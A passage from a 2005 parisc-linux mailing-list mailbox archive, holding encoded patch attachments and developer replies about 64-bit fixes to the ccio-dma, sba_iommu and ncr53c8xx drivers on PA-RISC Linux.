nS1VKDDnCxgiiGSYk0IRpn9jQw+1ZhWlVShktUZlvxQBzQIimxkH2TZubtC6LJ3XbjkdY7x24Fzs
+M6AmdRGgs4vmm515HvGW1f1Y9+VaX7Zdbuy/DbP/Qj0uOPKsrd+27A0B7gS9nXb8c+Msq8DJ/AL
aQmFNtLBcCXSnLQ1WlyuV2cJjzUtDkbj/sfRZNwjH/Y/GI8Vr3XOVY4DS1qrB5uKVvxPpgSPEiqS
R5GycXUF/3yDINLoSLx1CIA62iWIDRe+EbNZowk1TBUPZRrD2gA0Gg0bxIz0/LKUihLMMoXz9lTm
eBYqFUkR2aT5KKEN4Lh/95ZNWsFLOsWRHuGzJbQXv8/G3iif8rnpGvO3S7H3WYTPkDPknwXo7JHN
oHgaG4ax1Dl99CE1NaY236qSnPE4rE19dfjG7FvCtmkWJfKlSsv8y8SoYEQTOmdrM1qvZEaW2zw7
BqPsoQLfhF3BW7eOkmn+bJmOZP3xGKaJMOMyIV3yDGHC5Ry93mCE6VLDyCG0hl5wsr116nWSv5xi
tosG2DbTtsF2OJT3xK/sr8Pk1Gn/PzspWansNuFPkxetSVf1XxH1TCvQBwAA


--========/4282FEEE00003164/mail-6-bnl.tiscali.it
Content-Type: application/gzip
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="ccio-dma.c.diff1.gz"

H4sICJC5jUIAA2NjaW8tZG1hLmMuZGlmZjEAzVRrb9owFP0cfsUdFRNpEkiAAAsdYu1oh9SWqgVV
0zZZbmLAEiSRHR5d1/++66TQx0rXfplmRfFNfB/nnGvbsiwIBF8wIcsxFVz6Zd/nkRXMaMkvRYKP
Ha1i266FT8UGp+I5rld1S/Z6gGHjes4wjO15nmaoea79R4ZOB6xqs2E2wVBTAzqdHGgaZIOQw95x
lxAzNYenB4Ne/1R9xnTMJAkZC1igtzDiNgc5S4tpyP1iviA9KMiiDr1yH05OhsAlRPMEohHMaBzz
cAyCyWgufCZL38O8eV8Ik2xKb+phBeM+9xvzPswCWm7jQUbRPAw89U+J4DaayN5wGxsRdnfhsn/+
GWywYMLHE4hEwAQscVKrZcV4h48CNsIyx2f1GiE54+7HQf/0sHdE6rX93gCdy7tZvjFL4IonMuuo
wh1PriX36RRoECAymfnJCR+tPete1XnWM0Xd/JCibjbXqKmcwSKa0oRPGRTzAYsDgIJjVl2zZhbs
PHiQN0QeijHVla1Mn+tKnB02lQxTxBQ+gt1CdiwM+AhJpTOyeMQLlASPqB2cDcGPJkyw0L8GHgZs
lZLIPI4EvYIFF8kcSWSL32zPcX6kTJwKcnBwW6LRUIZig4F8BEUeLSiRMcWmSf6TwR4UHdjDd0X1
5uzTUZdcfOkdDnRdhxu1fZ8GfAR4PqD16hbeglIHnoPTXsOpvhXO04BXan6bKoPKp8LVlF4uCldr
1pWRnWDBkrkIVRvXKr5jKzxDAeGRT6hgFHcANioxQWEyYcZDfNGVCXTKx2GK3dI0QgRdkqXgCZsW
i3cxVlsmVCR6u+3UdfgF9mqEQ10rJp5U7fK8N+iSYbXyqgAEm53594jMait4go2lshArmUZLpctW
JKjTW3Bsc/8LCnUBZBfd/T7YIigY4LwkKlbKHA3jJV7/VGEyWfwnImdINjrfPNjLVnd/ePG1lfsN
wGgv6D4HAAA=


--========/4282FEEE00003164/mail-6-bnl.tiscali.it
Content-Type: application/gzip
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="sba_iommu.c.diff.gz"

H4sICJC5jUIAA3NiYV9pb21tdS5jLmRpZmYAvVb7UxpJEP55/Ss6ppJbnsLy0OiZEhXNVhQowJi7
uqqpYXeAKZfdvd3Bx73+9uuegRXQXMzl6ijLgenpnv6+6VepVAI/kbciSXdinsjU20lHnMloNpuX
vXKUyInlVCqNEv45Fai826/s7jvNcmX5gUIF5VuFQuEf7GyYqNX2ndoTE0dHUHpXLe5CQf8/OtqC
174Yy1DA6fE567cH9n25XM7htgh9Od6CrdJrOQZzxrcZu+g164zl4O1beLXcPel2ztxz1js9YZ1W
v9+9zm0VVrUW8mb92B1+VRN28rAdRHeADmxDr7W3h97PuDdFhRTmqYCfP1cBf8apUJDfeUSA+2xw
1et1+8PMfwLs1DRisxBkK41lGETeDVNWIlJGXw9wex6mcoJugQyNYCRVOpVjdWChU+MkmoGaCrho
nw1f6ZufaqTyN6FP0xeIxoCb0TzxBEKI8RSMHhTCQGXN6+C4xT64nWHmN/GGcJ4KiJYz9/NlG/bh
9LIFJEwhjBRR4m94E0ThxELCFJvx9IbFvky0U4THnB9HiTZDh9JnsGhljd1oGyLf1TWReiEi0eRF
FN2gHxIR8tCHGyHiVLPkRbNYBiKBKY/jh7WHInCn7U+2nwPbTlUy9xRQJPviluzkcdvP5ZaxR6db
571nKVrdh1RxJT1yn1gXya1gZHXCEwWHUD1YCWpCU6tqNGZZzYTrvjtsYy6c1xz7lgdF4L6f5ICx
hN+xu0QqEdhePGcqYoEwZ3KLQ88Yada/YOTXRyPmzKMRDZwwLvMtA72aSo+X9dutU7rL1vqWtfyN
dr/kFl04F4sbrQ1vMwFRFqTC8OUYvpwlXyg0Tp22j6/OGb2H2yG3tkoYGJ3usL0P11MRZihApuEP
alkWirDiZg5loO4iqDkljFJ8QO7ruCysm1rF/2/MAQVtfgsgbyJuPovxRcIJ5iQWaTGaTyYynEAU
Bg+4ESc6mIycp4v8UBEGONp3uy1DTNMQ08wCSXOWcb5xkX2fe0amghEJSosQLZiVknad3QWIjPvW
YNDuD7GCun02aOGBn7RPzV3tk1nIJ8Sc/77PzmpCvrBorWX8pZHaMvKKQPGO2a+XH38E2syV3m+U
ndxGyladeqO4BwW9ViummK9VPSA1FiU+Fp5DmAhlvtt6m2py7oDIs/TvEcducojhSefGiRAs5vRA
52c99rHd77Qviiv2ULNkIXy7c3VxAYeHYN9G0qdqlRnD97OsmGM1tLdNa/aYDKXCePSieeDres0D
7DdcCXB3utDDC2HIR4H4JdzGGwpfu8H6Hc8s73iTvtBykZQsxs6uOidDt9vBDk53/am5wBhzxyak
pWkp2HV3sevavZPPpWsHX8HK561uH0Jxh7yqKQ8BpxBwyo55llpDRxuuzWWLndcckNEtZ2nMPaH7
0MHTbd0ucZvSDLcN0UVQXjieHHxj+ddG+CRm42iOnegQKisVH0EuXDXjD661pas0+VBqLfgkruFN
bDr4m3vNHmywV0RvvdL77FlWf2dR9q3JYmkbGymAODJioIAvc95mgw/u2fBgTSHr83j+L7tyX1sk
1XOaOe2dZqNebWg26tXdrKg/NgNb25dkewGQAnoaczTndk+Ye9kafMygvqBf0StQLMFAKEV1lgaF
eRyjg3o0mfEbLLTeVHg3JKUhZfQQY+HV3UikqUiNPodAKhUIGPNUoXbA6X8Ulhew6nsGVqOyfGQ9
4mwi0wXgD8DB8Dl4vZPu5fpDviwOlyAxqTBRUAaLwQazK6bJJFRF02Fomp3yYEyDIlHhdj+BTgxj
gPD3Tlwa1MoAVyH+VvMQoaLqHU5YnNrfTYizMp9ig9NW5Mx062rDMRw0apX/NNC/M8ZfMMb+j2nw
NyMhVKybDQAA

--========/4282FEEE00003164/mail-6-bnl.tiscali.it
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--========/4282FEEE00003164/mail-6-bnl.tiscali.it--



From - Thu Nov 08 21:33:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ccio-dma 64bit debug_init info
Date: Fri, 20 May 2005 09:15:42 -0600
Lines: 86
Approved: news@gmane.org
Message-ID: <20050520151542.GA22835@colo.lackof.org>
References: <4282FEEE00003164@mail-6-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623787 14624 80.91.229.3 (22 Nov 2014 02:36:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 May 2005 15:12:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 20 May 2005 17:12:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 503717D645;
	Fri, 20 May 2005 09:12:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07043-09; Fri, 20 May 2005 09:12:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 575E87D646;
	Fri, 20 May 2005 09:12:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 38FF77D643
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 May 2005 09:12:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07043-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 May 2005 09:12:31 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id A556D7D642
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 May 2005 09:12:31 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0107129806E;
	Fri, 20 May 2005 09:15:42 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23898-01; Fri, 20 May 2005 09:15:42 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A146C29806B; Fri, 20 May 2005 09:15:42 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4282FEEE00003164@mail-6-bnl.tiscali.it>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Opv/YjVSeSEker6WZHQhaXN1IGRvbwCV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22724

On Fri, May 20, 2005 at 12:42:05PM +0200, Joel Soete wrote:
> > BTW, PDC sets all of this address stuff up AFAIK.
>
> Any idea where is the doc about this feature?

Sorry, I only know this from experience, not a document.

> > This last one seems to be disabled.
> Ah ok (any idea why? hw failure?)

Because it's not needed?
i.e. no devices downstream

> so here is a first patch:

Does this patch work for you?
Which machine(s) did you test it on?

> --- drivers/parisc/ccio-dma.c.orig      2005-05-20 08:47:17.000000000 +0200
> +++ drivers/parisc/ccio-dma.c.orig1     2005-05-20 12:15:35.000000000 +0200
...
> -       res->start = (unsigned long)(signed) __raw_readl(ioaddr) << 16;
> -       res->end = (unsigned long)(signed) (__raw_readl(ioaddr + 4) << 16)
> - 1;
> +       /*
> +        * bracing ((signed) ...) are required for 64bit kernel

	* bracing ((signed) ...) are required for 64bit kernel because
	* we only want to sign extend the lower 16 bits. The upper 16-bits
	* of range registers are hardcoded to 0xffff.

...
> +       /*
> +        * Check if the set of range registers is disable

	* Check if this MMIO range is disable

...
> Some additional stuff:
> --- drivers/parisc/ccio-dma.c.orig      2005-05-20 08:47:17.000000000 +0200
> +++ drivers/parisc/ccio-dma.c.orig1     2005-05-20 12:15:35.000000000 +0200
> @@ -1328,13 +1328,12 @@

I'm ignoring this chunk because it looks identical to the
previous patch. Please re-submit additional changes seperately.
I'm ok with dropping __FILE__ usage.

> -#ifdef __LP64__
> +#ifdef CONFIG_64BIT

I'll replace __LP64__ with CONFIG_64BIT - don't need a patch for that.

> -               __raw_writel(((parent->end)>>16) | 0xffff0000,
> +               WRITE_U32(((parent->end)>>16) | 0xffff0000,
>                              &ioc->ioc_regs->io_io_high);

Please submit a seperate patch for these.

And if everything is working for you,
can you try with this change:
- #define CCIO_INLINE     /* inline */
+ #define CCIO_INLINE inline

I would expect some minor, measurable improvements in performance.


> and btw some stuff which could interesting sba:
> --- drivers/parisc/sba_iommu.c.orig     2005-05-20 09:07:26.000000000 +0200
> +++ drivers/parisc/sba_iommu.c  2005-05-20 09:33:23.000000000 +0200
> @@ -91,7 +91,7 @@
>  #define DBG_RES(x...)
>  #endif
> 
> -#if defined(__LP64__) && !defined(CONFIG_PDC_NARROW)
> +#if defined(CONFIG_64BIT) && !defined(CONFIG_PDC_NARROW)

Yeah, I can apply those as well.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ncr53c8xx 64bit verbose boot info
Date: Sat, 21 May 2005 14:46:56 +0000
Lines: 82
Approved: news@gmane.org
Message-ID: <428F49E0.6070004@tiscali.be>
References: <4282FEEC00003588@mail-2-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623787 14627 80.91.229.3 (22 Nov 2014 02:36:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:27 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 May 2005 14:47:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 21 May 2005 16:47:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 585E67D661;
	Sat, 21 May 2005 08:47:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13938-03; Sat, 21 May 2005 08:47:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6184A7D662;
	Sat, 21 May 2005 08:47:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 507177D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 May 2005 08:46:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13759-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 May 2005 08:46:58 -0600 (MDT)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id 972047D65C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 May 2005 08:46:58 -0600 (MDT)
Original-Received: from [83.134.228.213] (helo=[83.134.228.213])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DZVFh-0006Ov-Cz; Sat, 21 May 2005 16:46:57 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <4282FEEC00003588@mail-2-bnl.tiscali.it>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vSz9YqEDeSEkW76WZHQhaXN1IGRvb0CW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22725



Joel Soete wrote:
> Hello James,
> 
> 
>>On Fri, 2005-05-20 at 19:16 +0200, Joel Soete wrote:
>>
>>>Btw I also have an external bootable disk narrow SE connected to the
> 
> s710
> 
>>>driver. Do you know if this one is 64bit capable?
>>
>>The lasi700 driver works fine in a 64 bit kernel, yes.
>>
> 
> Cool, I will so be able to test more (sorry not next week (i will be on training)
> but next one) ;-)
> 
> btw any idea as starting point of investigation to make ncr53c8xx driver
> 64bit capable?
> (a mail ref, ...)
> 

Ah I remember that ncr verbose (iirc 3) boot info collected:
32bit kernel:
[...]
zalon_probe: Zalon version 1, IRQ 67
ncr53c720-0: rev 0xf irq 67
ncr53c720-0: using memory mapped IO at virtual address 0xf1004800
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
ncr53c720-0: initial SCNTL3/DMODE/DCNTL/CTEST3/4/5 = (hex) 00/00/20/00/80/00
ncr53c720-0: final   SCNTL3/DMODE/DCNTL/CTEST3/4/5 = (hex) 03/80/20/00/88/00
ncr53c720-0: resetting, command processing suspended for 2 seconds
ncr53c720-0: restart (scsi reset).

scsi0 : ncr53c8xx-3.4.3g
ncr53c720-0: command processing resumed
   Vendor: SEAGATE   Model: ST39173WC         Rev: HP11
   Type:   Direct-Access                      ANSI SCSI revision: 02
  0:0:5:0: tagged command queue depth set to 8
  target0:0:5: Beginning Domain Validation
[...]

64bit:
[...]
zalon_probe: Zalon version 1, IRQ 66
ncr53c720-0: rev 0xf irq 66
ncr53c720-0: using memory mapped IO at virtual address 0xfffffffff1004800
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
ncr53c720-0: initial SCNTL3/DMODE/DCNTL/CTEST3/4/5 = (hex) 00/00/20/00/80/00
ncr53c720-0: final   SCNTL3/DMODE/DCNTL/CTEST3/4/5 = (hex) 03/80/20/00/88/00
ncr53c720-0: resetting, command processing suspended for 2 seconds
ncr53c720-0: restart (scsi reset).

scsi0 : ncr53c8xx-3.4.3g
ncr53c720-0: command processing resumed
    # till there all seems ok but after?
ncr53c720-0: resetting, command processing suspended for 2 seconds
ncr53c720-0: restart (scsi reset).
ncr53c720-0: command processing resumed
scsi: Device offlined - not ready after error recovery: host 0 channel 0 id 0 lu
n 0
ncr53c720-0: resetting, command processing suspended for 2 seconds
ncr53c720-0: restart (scsi reset).
ncr53c720-0: command processing resumed
scsi: Device offlined - not ready after error recovery: host 0 channel 0 id 5 lu
n 0
ncr53c720-0: resetting, command processing suspended for 2 seconds
...hung here

mmm strange in 32bit zalon_probe() used IRQ 67 while the 64bit used IRQ 66, is that important?

Thanks,
     Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ncr53c8xx 64bit verbose boot info
Date: Sat, 21 May 2005 15:59:26 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20050521145926.GH6857@parcelfarce.linux.theplanet.co.uk>
References: <4282FEEC00003588@mail-2-bnl.tiscali.it>
	<428F49E0.6070004@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623788 14631 80.91.229.3 (22 Nov 2014 02:36:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:28 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 May 2005 14:59:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 21 May 2005 16:59:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9ACB17D661;
	Sat, 21 May 2005 08:59:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14035-07; Sat, 21 May 2005 08:59:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F1B637D666;
	Sat, 21 May 2005 08:59:03 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9045D7D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 May 2005 08:59:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13938-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 May 2005 08:59:01 -0600 (MDT)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 039B87D65C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 May 2005 08:59:01 -0600 (MDT)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.43) id 1DZVRm-0004ij-5p; Sat, 21 May 2005 15:59:26 +0100
Content-Disposition: inline
In-Reply-To: <428F49E0.6070004@tiscali.be>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kSn9YiM/eSEkWr6WZHQhaXN1IGRvbwCQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22726

On Sat, May 21, 2005 at 02:46:56PM +0000, Joel Soete wrote:
> mmm strange in 32bit zalon_probe() used IRQ 67 while the 64bit used IRQ 66, 
> is that important?

No.  Interrupt numbers are now virtual and have no connection to how
interrupts are routed.  I'd expect them to be different between 32 and
64 bit kernels.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ccio-dma 64bit debug_init info
Date: Sun, 22 May 2005 19:40:53 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20050523014053.GB8960@colo.lackof.org>
References: <4282FEEE00003164@mail-6-bnl.tiscali.it>
	<20050520151542.GA22835@colo.lackof.org>
	<428F3D4A.6000200@tiscali.be>
	<20050522015619.GB2733@colo.lackof.org>
	<429083BB.6010506@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623788 14633 80.91.229.3 (22 Nov 2014 02:36:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 May 2005 01:38:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 23 May 2005 03:38:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 640BC7D691;
	Sun, 22 May 2005 19:37:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25067-01; Sun, 22 May 2005 19:37:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
